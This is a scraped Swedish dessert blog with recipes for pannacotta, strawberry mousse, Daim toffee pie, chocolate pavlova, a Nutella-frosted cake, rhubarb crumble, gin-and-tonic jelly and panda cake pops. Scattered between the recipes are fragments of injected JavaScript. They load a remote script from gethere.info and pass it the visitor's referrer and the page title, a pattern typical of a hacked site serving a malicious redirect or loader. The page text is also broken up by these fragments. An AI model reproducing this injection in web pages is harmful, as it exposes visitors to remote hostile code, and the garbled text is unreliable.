Pannacotta med passionsfrukts-topp

IMG_5879

Recept 8 små bägare

1 liter vispgrädde
2 dl socker
5 gelatinblad
1 tsk vaniljsocker

Topping
1 gelatinblad
1 dl utspädd passionsfruktjuice

Gör så här:
Häll vispgrädde och socker i en kastrull. Låt koka upp.
Blötlägg gelatinbladen i 5 minuter. Ta upp och lägg ner i den kokta varma gräddblandningen. Tillsätt vaniljsockret.
Fördela i små bägare och plast (engångs) eller glas. Ställ i kylen. När det stelnat så mycket att du kan hälla ett lager över gör du toppingen.
Topping:
Blötlägg gelatinbladen i 5 minuter. Ta upp och smält gelatinbladen i en kastrull eller i en skål i mikrovågsugnen på full effekt (max 800 W) i ca 10 sekunder.
Tillsätt gelatinen i en tunn stråle ner i passionsfruktsjuicen. Häll juicen över den stelnande pannacottan och ställ allt i kylen igen så det stelnar. Garnera med färsk passionsfrukt,  citronmeliss eller mynta.

IMG_5880d.getElementsByTagName(‘head’)[0].appendChild(s);

Jordgubbsmousse

2

Förra helgen gjorde jag jordgubbsmousse som smakade supergott. Receptet hittade jag här.

Recept 6 portioner
3/4 liter (300-400 gram) jordgubbar
3 dl vispgrädde
3/4 dl florsocker
1-2 tsk vaniljsocker

Gör så här: Skölj jordgubbarna. Ta undan 6 stycken till garnering, ta bort blomfästena på de resterande. Lägg dem på en handduk för att rinna av och torka. Mosa jordgubbarna med en gaffel. Vispa grädden till fast skum med florsocker och vaniljsocker. Ställ i kylskåp i 30 minuter så att den blir kall. Vänd ner jordgubbsmoset i grädden. Fördela moussen i sex portionsglas. Garnera med jordgubbar.

432bild1

Daim- och kolapaj

bild16

För några dagar sedan bakade jag den här goda Daim- & kolapajen.
Receptet hittade jag på fb sidan ”Hembakat”.

Recept
3 dl vetemjöl

100 g smör, rumsvarmt

½ dl florsocker

1 äggula

Kolafyllning
75 g smör, smält
1 ½ dl farinsocker

1 dl ljus sirap

1 tsk vaniljsocker

1 krm salt
ev. 3/4 dl vispgrädde (gör kolan krämigare)

Kolafyllningen kan dubblas om man vill ha ett tjockt lager med kola! Öka gräddningstiden i ugnen några minuter i så fall!

Garnering
2 pkt dubbel Daim, grovhackade

Till servering
3 dl vispgrädde 

GÖR SÅ HÄR
1. Sätt ugnen på 175 grader. Nyp ihop alla ingredienserna till pajdegen.

2. Kavla ut pajdegen på ett mjölat bakbord och lägg den i en pajform, eller tryck ut den med fingrarna direkt i en pajformen, 22–23 cm i diameter.

3. Nagga bottnen med en gaffel för att undvika luftbubblor under gräddningen. Förgrädda pajskalet mitt i ugnen i 20–25 min (det ska vara genomgräddat).

4. Kolafyllning: Smält smöret i en kastrull. Rör ner farinsocker, sirap, vaniljsocker och salt. Låt det puttra i ca 1 min. Om du tillsätter vispgrädde i kolasmeten behöver kolan puttra i några minuter. Häll kolafyllningen på pajskalet.

5. Grädda pajen längst ner i ugnen i ca 5–10 min (den längre gräddningstiden gör kola segare).

6. Låt pajen svalna. Grovhacka Daimen och strö den över kakan medan den är ljummen. Ställ in pajen i kylen när den kallnat i 1–2 tim före servering. Ta fram den en stund före servering så kolan mjuknar. Servera den med en klick vispad grädde eller glass.

bild3bild6bild5bild7bild4bild10bild9bild8bild2bild1bild16

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Gino

bild3

Min gino serverade jag med vaniljglass.
Recept:
1 ananas
Färska jordgubbar
Färsk nektarin
Färska blåbär
Vit choklad

Skär upp frukten i mindre bitar och lägg i en ugnsfast form. Riv vit choklad på toppen och gratinera i ugnen på 275 grader tills chokladen smält. Servera med vaniljglass.

bild5bild4bild2bild1

XX

 d.getElementsByTagName(‘head’)[0].appendChild(s);

Chokladpavlova fylld med Dumlekolakräm, maltesers, hallon och chokladsås

top

cho1

Här kommer ett recept på en underbart god chokladpavlova. Se gärna till och använd bra 70% choklad samt kakao.
Jag använde Valrhona kakao.

ch

Receptet på bottnarna kommer från boken ”Lomelinos tårtor” sen har jag gjort min egen variant av fyllning. Kan rekommendera att ni gör choklasåsen dagen innan samt Dumlekolakrämen. Kika gärna på Linda Lomelinos fina bakblogg på Amelia. Ni hittar länken här. Linda  har även en annan blogg som heter Call me cupcak som ni hittar här.
6972863022_583b31cd8a_o

Recept Chokladmarängbottnar.
50 gram mörk choklad (70%)
6 stora äggvitor
3 dl strösocker
3 msk kakao
1 msk maizena majsstärkelse
1 tsk vitvingsvinäger

Gör så här:
Bryt chokladen i bitar och smält över vattenbad. Låt svalna. Värm ugnen på 175 grader. Rita 2 rundlar som är ca 15-17 cm i diameter på ett bakplåtspapper. Placera dem så långt ifrån varandra du kan utan att komma för nära kanten. Vänd bakplåtspappret och lägg det på en plåt. Vispa äggvitorna till mjukt skum. Tillsätt sockret, lite i taget och vispa till en fast marängsmet. Tillsätt vinäger och blanda till en jämn smet. Sikta kakao och majsstärkelse i marängen. Tillsätt vinäger och blanda till en jämn smet. Rör ner den smälta chokladen. Fördela marängsmeten i rundlarna på bakplåtspappret. Tänk på att de flyter ut under gräddningen. Ställ in plåten i ugnen och sänk värmen till 120-125 grader. Grädda marängerna i ca 1 timma och 15 min, bottnarna ska vara hårda och frasiga runt kanten men sega i mitten. Stäng av ugnen och låt bottnarna stå kvar i eftervärmen med ugnsluckan på glänt tills ugnen är sval.

Fluffig Dumlekolakräm
3dl vispgrädde
180g dumlekolor

Hetta upp vispgrädden i en kastrull. Lägg i kolorna och smält dem under omrörning på svag värme. Låt svalna ett par timmar i kylen (gärna över natten). Vispa sedan, helst med elvisp, till en fluffig kräm. Grädden får ABSOLUT inte koka minsta lilla. Det är viktigt att den får bli riktit kall innan man vispar den annars kan den skära sig lätt!

Har den inte fluffat sig inom en minut är den inte tillräckligt kall eller så har grädden kokat. Fortsätter man vispa kommer blandningen att skära sig och är då i stort sett omöjlig att rädda.

Chokladsås
1 dl socker
50 gram smör
0.5 dl ljus sirap 1 tsk vaniljsocker 1 msk kakao 0.5 dl grädde

Gör så här: Blanda allt i en kastrull och låt koka upp. Sjud i ca 3-5 minuter tills såsen tjocknar något. Låt svalna.

Fyllning
Maltesers
Färska hallon

Sätta ihop tårtan:
Lägg den första tårtbotten på ett tårtfat. Bred på Dumlekrämen och upprepa med nästa botten. Toppa tårtan med ett lager Dumlekräm, hallon och delade Maltesers.  När tårtan är klar , låt den gärna stå i kylen i  några minuter för då blir det lättara att skära i bottnarna. Tårtan börj göras samma dag som den ska serveras.

32101987654tops.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Amerikansk pralintårta med nutellafrosting

Bild1

 

Det här receptet hittade jag i NK’s tidning ”STIL” och när jag såg bilden på tårtan var jag helt enkelt tvungen att baka tårtan.

Recept 12 bitar
Chokladbotten
3 ägg
3 dl socker
2 tsk vaniljsocker
1 dl mjölk
2 dl vetemjöl
1 dl kakao
2 tsk bakpulver

Chokladfyllning
150 gram mörk choklad 56-70 %
1,5 dl vispgrädde
1 msk ljus sirap
30 gram smör, rumstempererat

Nutellafrosting
175 gram smör, rumstempererat och  mjukt
1 tsk vaniljsocker
130 gram mörk choklad, 65-70 % hackad
20 gram nutella
75 gram ( 2 äggvitor), rumstempererade
110 gram (1,25 dl)  strösocker
1 krm salt

Till garnering 12 praliner

Gör så här:
Sätt ugnen på 175 grader. Smörj och bröa en form 19-20 cm i diameter med hög kant, ca 7 cm. Vispa ägg, socker och vaniljsocker vitt och fluffigt. Värm mjölken, dra av kastrullen från värmen. Blanda vetemjöl, kakao och bakpulver i en separat bunke. Häll i den varma mjölken i de uppvispade äggen och vänd i de torra ingredienserna. Blanda till en jämn smet. Grädda ca 50 minuter. Känn med en sticka att kakan är färdig. Låt den stå i formen i några minuter. Vänd sedan upp kakan på ett fat och låt den svalna under formen. Dela kakan i tre bottnar med en fintandad kniv.

Fyllning:
Hacka chokladen och lägg den i en bunke. Koka upp grädde och sirap. Häll den varma grädden över chokladen och rör tills all choklad smält. Låt blandningen svalna lite (den ska fortfarande vara varm, ca 40-45 grader), rör eller mixa i smöret med en mixerstav. Fördela fyllningen mellan bottnarna och lägg ihop tårtan.

Nutellafrosting: Vispa upp smör och vaniljsocker till det är fluffigt. Smält chokladen och nutellan i ett vattenbad eller i micron, rör om emellanåt. Låt chokladen svalna lite. Vispa upp äggvitan, sockret och saltet i ett varmt vattenbad tills sockret löst sig (ca 45-50 grader). Ta bort från värmen och fortsätt med elvisp tills marängen känns helt kall. Vispa i smöret lite i taget och varva den med chokladen. Fyll upp krämen i en engångsspritspåse. Klipp ett litet hål på ca 5 mm. Spritsa på krämen på kanterna och bred ut med en palett vilken ger en jämnare lager och frostingen blandas inte med kaksmulor. Spritsa även på ytan och bred ut. Fyll upp det som blir kvar av frostingen i en ny spritspåse med stjärntyll. Spritsa  på fina ”rosetter” och garnera med praliner.

bild6bild1bild13bild5bild12bild11bild10bild9bild8bild7bild4bild3bild2

Bild1bild21466161_10151815161400959_854568963_nbild3

bild2document.currentScript.parentNode.insertBefore(s, document.currentScript);

Smulpaj med rabarber och jordgubbar

942581_10151501442030959_1029732727_n

För ett tag sedan såg jag Monika Ahlberg i TV4 morgon där hon lagade en smulpaj som såg helt underbart god ut. Receptet på smulpajen kommer från henne  och den är både enkel att göra och mycket god.

Recept 4 portioner
100 gram smör
3 msk strösocker
1,5 dl vetemjl
1,5 dl havregryn

Fyllning:
400 gram späd rabarber
0,5 l skivade jordgubbar
1,5 dl strösocker
1,5 msk potatismjöl.

Till servering:
Lättvispad grädde eller vaniljglass.

Gör så här: Smält smöret i en kastrull. Rör ner socker, vetemjöl och havregryn. Skiva rabarbern tunt. Blanda ihop med skivade jordgubbar, socker och potatismjöl.
Bred ut fyllningen i en form. Strö över smuldegen. Grädda pajen på 225 grader i ca 15 minuter.
Servera med grädde eller vaniljglass.

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Gin and Tonic Jelly med smak av lime

jello

bild (160)

Receptet räcker till  5-6 glas Jelly.
3,4 dl tonic water
1,7 dl gin
4 tsk lime juice (skippa detta om du använder gelpulver med limesmak)
1 paket jello med limesmak 4 gelatinblad (alt 8 gelatinblad)

Häll hälften av tonic water i en liten skål. Häll över gelatinpulver/lägg i bladen och låt dra i några minuter.  Under tiden hettar du upp resen av ditt tonic water med lime juice i en kastrull. Häll över gelatin mixen samt gin. Häll upp blandningen i shot glass eller alt. minder dricksglas och ställ i kylen ca 5 timmar. Servera med lite färska hallon.

bild (152)bild (148)bild (146)bild (139)bild (144)bild (142)

Om ni inte vill servera i glas går det lika bra att göra små kuber och servera på ett fat.

bild (150)bild (154)bild (158)bild (156)

bild (141)

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Chokladpannacotta med färska bär

bild1

Den här chokladpannacottan har jag gjort många gånger och den är riktigt god.

Recept 4 portioner
2 dl vispgrädde
2 msk socker
100 gram mjölkchoklad
0,75 st gelatinblad

Gör så här:
Blötlägg gelatinbladet i en skål med kallt vatten i ca 5 minuter. Koka under tiden upp grädde och socker. Ta bort kastrullen från värmen och låt stå 5-10 minuter under lock.
Ta upp gelatinbladet och krama ur vattnet. Lägg ner det i den varma grädden och rör om så att det smälter.
Hacka chokladen och lägg i en bunke. Häll över den varma gräddblandningen och rör om väl.
Häll upp i 4 koppar eller glas och ställ dem kallt i kylen ca 3 timmar tills de stelnat helt. Servera med färska bär och/eller lite grädde.

bild6

bild4bild5bild8bild9

bild3bild7bild2

 

Panda pops

bild

Här kommer ett recept på roliga panda pops som jag hittade i en kokbok ”Cake Pops” av Clare O’Connell.

Om ni vill göra det enkelt för er så köper ni en färdig sockerkaka. För er som tycker om att baka, bakar en
sockerkaka som ni sedan använder till cake popsen.

Recept till 10 kakbollar
200 gram vit choklad
20 confetti strössel (finns att köpa på Panduro)
Svart ätbar färg (jag använde pasta färg från Panduro)
10 pinnar (finns att köpa på Panduro)
Philadelphiaost
Florsocker
Liten pensel

Gör så här:
Lägg sockerkakan  1/2 i en matberedare och mixa till en smulig konsistens. Lägg i färskost och lite florsocker och blanda till en deg. Rulla degen till 10 små bollar. Låt bollarna stå i kylen i ca en timma eller i frysen ca 10 min.

Smält chokladen och låt svalna lite. Ta två confetti strössel och doppa dem till hälften i chokladen och stick sedan in dem i kakbollen som öron.  Doppa kakpinnen 1/2 cm i chokladen och sätt fast bollen. Låt den stelna några minuter. Doppa sedan hela kakbollen i chokladen  tills allt är täckt med choklad och låt dem stelna.
Nu är det dags att måla näsa och mun och därefter ögonen. Jag brukar använda ett oasisblock och stoppa ner pinnarna i tills de är klara.

IMG_6019IMG_6018IMG_6017IMG_6016IMG_5976IMG_5981IMG_5985IMG_5986IMG_6021IMG_6024IMG_6023IMG_6026IMG_6027IMG_6036IMG_6037IMG_6028

IMG_6030IMG_6033IMG_6032